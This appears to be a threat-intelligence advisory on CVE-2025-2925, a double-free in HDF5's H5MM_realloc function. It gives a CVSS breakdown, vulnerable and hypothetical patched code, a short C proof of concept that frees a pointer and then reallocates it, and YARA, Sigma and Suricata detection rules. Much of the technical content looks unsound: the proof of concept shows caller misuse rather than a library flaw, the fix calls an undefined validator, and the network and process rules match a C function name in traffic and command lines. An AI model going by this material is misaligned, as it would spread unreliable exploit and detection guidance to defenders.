CVE-2025-2925

Executive Summary

CVE-2025-2925 is a locally exploitable double-free vulnerability in the HDF5 library, affecting versions up to and including 1.14.6. The flaw resides in the H5MM_realloc function within src/H5MM.c. An attacker with local access can trigger a double-free condition by manipulating the mem argument, leading to memory corruption and potential denial of service. The vulnerability has a CVSS score of 3.3 (Low), with a public proof-of-concept available. No official patch has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs basic user privileges.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – potential for denial of service via memory corruption.

Threat Level: Low. Exploitation requires local access and results in limited availability impact. However, the public availability of exploit code increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic double-free bug in the H5MM_realloc function. When realloc is called with a pointer that has already been freed, the memory allocator may corrupt its internal data structures. This can lead to heap corruption, crashes, or potentially arbitrary code execution under specific conditions.

Root Cause: The H5MM_realloc function does not properly validate the state of the input pointer mem. If mem points to already freed memory, the function attempts to reallocate it, causing a double-free.

Attack Vector: An attacker with local access can craft a sequence of memory operations that cause H5MM_realloc to be called on a freed pointer. This can be achieved by exploiting other bugs or by directly manipulating memory through a debugger or custom application.

Impact: Successful exploitation can lead to:

• Denial of service (application crash)
• Memory corruption
• Potential for arbitrary code execution (though less likely due to the local nature and low CVSS score)

Vulnerable vs. Patched Code

Vulnerable Code (HDF5 <= 1.14.6):

void *H5MM_realloc(void *mem, size_t size) {
    void *ret;
    if (mem == NULL) {
        ret = H5MM_malloc(size);
    } else {
        ret = realloc(mem, size);
        if (ret == NULL) {
            // Error handling
        }
    }
    return ret;
}

The issue is that realloc is called directly on mem without checking if it has already been freed. If mem points to freed memory, realloc will attempt to free it again, causing a double-free.

Patched Code (Hypothetical):

void *H5MM_realloc(void *mem, size_t size) {
    void *ret;
    if (mem == NULL) {
        ret = H5MM_malloc(size);
    } else {
        // Check if mem is valid (e.g., using a tracking mechanism)
        if (!is_valid_pointer(mem)) {
            // Handle error
            return NULL;
        }
        ret = realloc(mem, size);
        if (ret == NULL) {
            // Error handling
        }
    }
    return ret;
}

A proper fix would involve tracking allocated pointers and validating them before reallocation. However, no official patch is available yet.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system running HDF5 <= 1.14.6
• Ability to compile and run C code

Exploit Concept:

1. Allocate a memory block using H5MM_malloc.
2. Free the block using H5MM_free.
3. Call H5MM_realloc on the freed pointer.
4. Observe double-free behavior (crash or memory corruption).

Proof-of-Concept (PoC) Code:

#include <stdio.h>
#include <stdlib.h>
#include "hdf5.h"

int main() {
    void *ptr = H5MM_malloc(64);
    if (ptr == NULL) {
        printf("Allocation failed\n");
        return 1;
    }
    printf("Allocated memory at %p\n", ptr);

    H5MM_free(ptr);
    printf("Freed memory at %p\n", ptr);

    // Trigger double-free
    void *new_ptr = H5MM_realloc(ptr, 128);
    if (new_ptr == NULL) {
        printf("Reallocation failed (expected)\n");
    } else {
        printf("Reallocated memory at %p\n", new_ptr);
        H5MM_free(new_ptr);
    }

    return 0;
}

Compilation: gcc -o exploit exploit.c -lhdf5 Execution: ./exploit

Blue Team

Detection:

• Monitor for crashes or abnormal terminations of applications using HDF5.
• Use memory debugging tools (e.g., Valgrind, AddressSanitizer) to detect double-free events.
• Implement logging for memory allocation/deallocation in custom applications.

Mitigation:

• Restrict local access to systems running HDF5.
• Apply the principle of least privilege to limit potential attackers.
• Monitor for known exploit patterns (e.g., repeated allocation/free cycles).

Indicators of Compromise (IOCs)

• File Hashes: (None specific to this CVE)
• Process Behavior: Application crashes with memory corruption errors (e.g., SIGSEGV, SIGABRT).
• Log Entries: Heap corruption warnings or double-free errors in debug logs.
• Network Indicators: None (local vulnerability).
• Registry/Config Changes: None.

Detection Engineering

YARA Rule

rule CVE_2025_2925_HDF5_DoubleFree {
    meta:
        description = "Detects HDF5 double-free vulnerability in H5MM_realloc"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2925"
    strings:
        $func = "H5MM_realloc"
        $code1 = { 48 85 C0 74 ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 05 ?? ?? ?? ?? }
    condition:
        $func and $code1
}

Sigma Rule

title: HDF5 Double-Free Vulnerability Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-2925 in HDF5
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/hdf5_app'
        CommandLine|contains: 'H5MM_realloc'
    condition: selection
falsepositives:
    - Legitimate use of HDF5 with reallocation
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-2925 HDF5 Double-Free Attempt"; flow:to_server; content:"H5MM_realloc"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Local Access: Limit user access to systems running HDF5 to trusted personnel only.
2. Monitor for Exploitation: Use the provided detection rules to identify potential exploitation attempts.
3. Apply Workarounds: If possible, avoid using H5MM_realloc with user-controlled pointers. Implement custom memory management that validates pointers before reallocation.

Long-Term Fix:

• Await an official patch from the HDF5 development team.
• Once available, update to the patched version immediately.
• Consider using memory-safe languages or libraries for critical applications.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valtersit.com.